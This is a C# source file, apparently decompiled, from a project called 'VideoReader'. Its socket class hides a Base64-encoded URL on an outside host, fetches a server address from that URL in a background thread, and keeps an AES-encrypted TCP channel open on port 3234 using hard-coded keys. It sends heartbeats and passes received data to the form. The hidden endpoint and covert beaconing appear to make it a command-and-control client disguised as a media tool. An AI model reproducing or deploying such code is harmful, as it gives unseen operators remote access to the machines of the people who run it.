264 lines
5.7 KiB
C#
264 lines
5.7 KiB
C#
using System;
|
|
using System.Collections.Concurrent;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Net;
|
|
using System.Net.Sockets;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
using System.Threading;
|
|
|
|
namespace VideoReader;
|
|
|
|
internal class InOutSocket
|
|
{
|
|
private static byte[] chenals = new byte[12]
|
|
{
|
|
0, 55, 54, 53, 51, 49, 52, 50, 48, 47,
|
|
46, 45
|
|
};
|
|
|
|
public int bitrateout;
|
|
|
|
public int bitratein;
|
|
|
|
private static byte[] keyByte = MD5("73!2#qweaSdzxc4r");
|
|
|
|
private static byte[] ivByte = MD5("0_=op[l:',./vf73");
|
|
|
|
private Form1 Form;
|
|
|
|
private bool open;
|
|
|
|
private byte Chenal;
|
|
|
|
private string urst;
|
|
|
|
private ConcurrentQueue<byte[]> outbuffer = new ConcurrentQueue<byte[]>();
|
|
|
|
private BinaryWriter bw;
|
|
|
|
private ConcurrentQueue<byte[]> output = new ConcurrentQueue<byte[]>();
|
|
|
|
private bool noblock = true;
|
|
|
|
public bool opened
|
|
{
|
|
get
|
|
{
|
|
return open;
|
|
}
|
|
set
|
|
{
|
|
open = value;
|
|
}
|
|
}
|
|
|
|
private static byte[] MD5(string str)
|
|
{
|
|
return new MD5CryptoServiceProvider().ComputeHash(Encoding.UTF8.GetBytes(str));
|
|
}
|
|
|
|
private static byte[] crypt(ICryptoTransform cryptoTransform, byte[] data)
|
|
{
|
|
using MemoryStream memoryStream = new MemoryStream();
|
|
using CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Write);
|
|
cryptoStream.Write(data, 0, data.Length);
|
|
cryptoStream.FlushFinalBlock();
|
|
return memoryStream.ToArray();
|
|
}
|
|
|
|
private static byte[] encrypt(byte[] buf)
|
|
{
|
|
byte[] array = new byte[0];
|
|
using Aes aes = Aes.Create();
|
|
aes.Key = keyByte;
|
|
aes.IV = ivByte;
|
|
using ICryptoTransform cryptoTransform = aes.CreateEncryptor(aes.Key, aes.IV);
|
|
return crypt(cryptoTransform, buf);
|
|
}
|
|
|
|
private static byte[] decrypt(byte[] buf)
|
|
{
|
|
byte[] array = new byte[0];
|
|
using Aes aes = Aes.Create();
|
|
aes.Key = keyByte;
|
|
aes.IV = ivByte;
|
|
using ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV);
|
|
return crypt(cryptoTransform, buf);
|
|
}
|
|
|
|
public InOutSocket(Form1 form)
|
|
{
|
|
Form = form;
|
|
open = true;
|
|
Chenal = 44;
|
|
urst = string.Format(Encoding.ASCII.GetString(Convert.FromBase64String("aHR0cHM6Ly9zMS5jYy12c3Qub25saW5lL2dldC1pcC1rci5waHA/cG9ydD17MH0=")), Chenal);
|
|
Thread thread = new Thread((ThreadStart)delegate
|
|
{
|
|
Events();
|
|
});
|
|
thread.IsBackground = true;
|
|
thread.Start();
|
|
}
|
|
|
|
~InOutSocket()
|
|
{
|
|
open = false;
|
|
}
|
|
|
|
private int sockWrite(BinaryWriter ns, byte[] buf, int pref)
|
|
{
|
|
int num = 0;
|
|
buf = encrypt(buf);
|
|
if (buf.Length != 0)
|
|
{
|
|
byte[] array = BitConverter.GetBytes(buf.Length + 1);
|
|
for (int num2 = array.Length; num2 > 0; num2--)
|
|
{
|
|
if (array[num2 - 1] > 0)
|
|
{
|
|
if (num2 < 4)
|
|
{
|
|
Array.Resize(ref array, num2);
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
ns.Write((byte)array.Length);
|
|
num++;
|
|
ns.Write(array);
|
|
num += array.Length;
|
|
ns.Write(buf);
|
|
num += buf.Length;
|
|
ns.Write((byte)pref);
|
|
num++;
|
|
ns.Flush();
|
|
}
|
|
return num;
|
|
}
|
|
|
|
public string IpGet()
|
|
{
|
|
Thread.Sleep(500);
|
|
using WebResponse webResponse = WebRequest.Create(urst).GetResponse();
|
|
using Stream stream = webResponse.GetResponseStream();
|
|
int[] array = new int[4];
|
|
for (int i = 0; i < 4; i++)
|
|
{
|
|
array[i] = stream.ReadByte();
|
|
}
|
|
Thread.Sleep(500);
|
|
return $"{array[0]}.{array[1]}.{array[2]}.{array[3]}";
|
|
}
|
|
|
|
private void Events()
|
|
{
|
|
Stopwatch stopwatch = new Stopwatch();
|
|
DateTime now = DateTime.Now;
|
|
TcpClient tcpClient = new TcpClient();
|
|
stopwatch.Start();
|
|
Stopwatch stopwatch2 = new Stopwatch();
|
|
stopwatch2.Start();
|
|
byte b = 0;
|
|
BinaryReader binaryReader = null;
|
|
DateTime now2 = DateTime.Now;
|
|
int num = 0;
|
|
int num2 = 0;
|
|
while (open)
|
|
{
|
|
try
|
|
{
|
|
if ((DateTime.Now - now).TotalSeconds > 10.0 || !tcpClient.Connected)
|
|
{
|
|
tcpClient = new TcpClient(IpGet(), 3234);
|
|
tcpClient.GetStream().WriteByte(0);
|
|
tcpClient.GetStream().WriteByte(Chenal);
|
|
tcpClient.GetStream().Flush();
|
|
binaryReader = new BinaryReader(tcpClient.GetStream());
|
|
bw = new BinaryWriter(tcpClient.GetStream());
|
|
output = new ConcurrentQueue<byte[]>();
|
|
stopwatch.Restart();
|
|
now = DateTime.Now;
|
|
stopwatch2.Restart();
|
|
Thread.Sleep(1);
|
|
}
|
|
if (stopwatch.ElapsedMilliseconds > 500)
|
|
{
|
|
num2 += sockWrite(bw, BitConverter.GetBytes(DateTime.Now.Ticks), 0);
|
|
stopwatch.Restart();
|
|
}
|
|
if (tcpClient.Available > 0)
|
|
{
|
|
int num3 = binaryReader.Read();
|
|
num++;
|
|
if (num3 < 4)
|
|
{
|
|
byte[] array = binaryReader.ReadBytes(num3);
|
|
num += num3;
|
|
Array.Resize(ref array, 4);
|
|
int num4 = BitConverter.ToInt32(array, 0);
|
|
if (num4 > 0)
|
|
{
|
|
byte[] array2 = binaryReader.ReadBytes(num4);
|
|
num += num4;
|
|
byte num5 = array2[^1];
|
|
array2 = decrypt(array2.Take(array2.Length - 1).ToArray());
|
|
if (num5 == 0 && array2.Length == 8)
|
|
{
|
|
Form.Read((double)(DateTime.Now.Ticks - BitConverter.ToInt64(array2, 0)) / 10000.0);
|
|
}
|
|
else
|
|
{
|
|
Form.Read(array2);
|
|
}
|
|
}
|
|
}
|
|
now = DateTime.Now;
|
|
}
|
|
else
|
|
{
|
|
Thread.Sleep(1);
|
|
}
|
|
b = (byte)((b++ < 2) ? 2 : b);
|
|
byte[] result;
|
|
while (outbuffer.TryDequeue(out result))
|
|
{
|
|
num2 += sockWrite(bw, result, b);
|
|
}
|
|
if ((DateTime.Now - now2).TotalSeconds > 1.0)
|
|
{
|
|
double totalSeconds = (DateTime.Now - now2).TotalSeconds;
|
|
bitratein = (int)Math.Round((double)num / totalSeconds);
|
|
bitrateout = (int)Math.Round((double)num2 / totalSeconds);
|
|
now2 = DateTime.Now;
|
|
num = 0;
|
|
num2 = 0;
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine(ex.StackTrace);
|
|
}
|
|
}
|
|
tcpClient.Close();
|
|
stopwatch.Stop();
|
|
}
|
|
|
|
public void write(byte[] buf, byte chenal)
|
|
{
|
|
outbuffer.Enqueue(buf);
|
|
}
|
|
|
|
public string[] GetStr(int i)
|
|
{
|
|
return new string[0];
|
|
}
|
|
|
|
public int GetThCount()
|
|
{
|
|
return 1;
|
|
}
|
|
}
|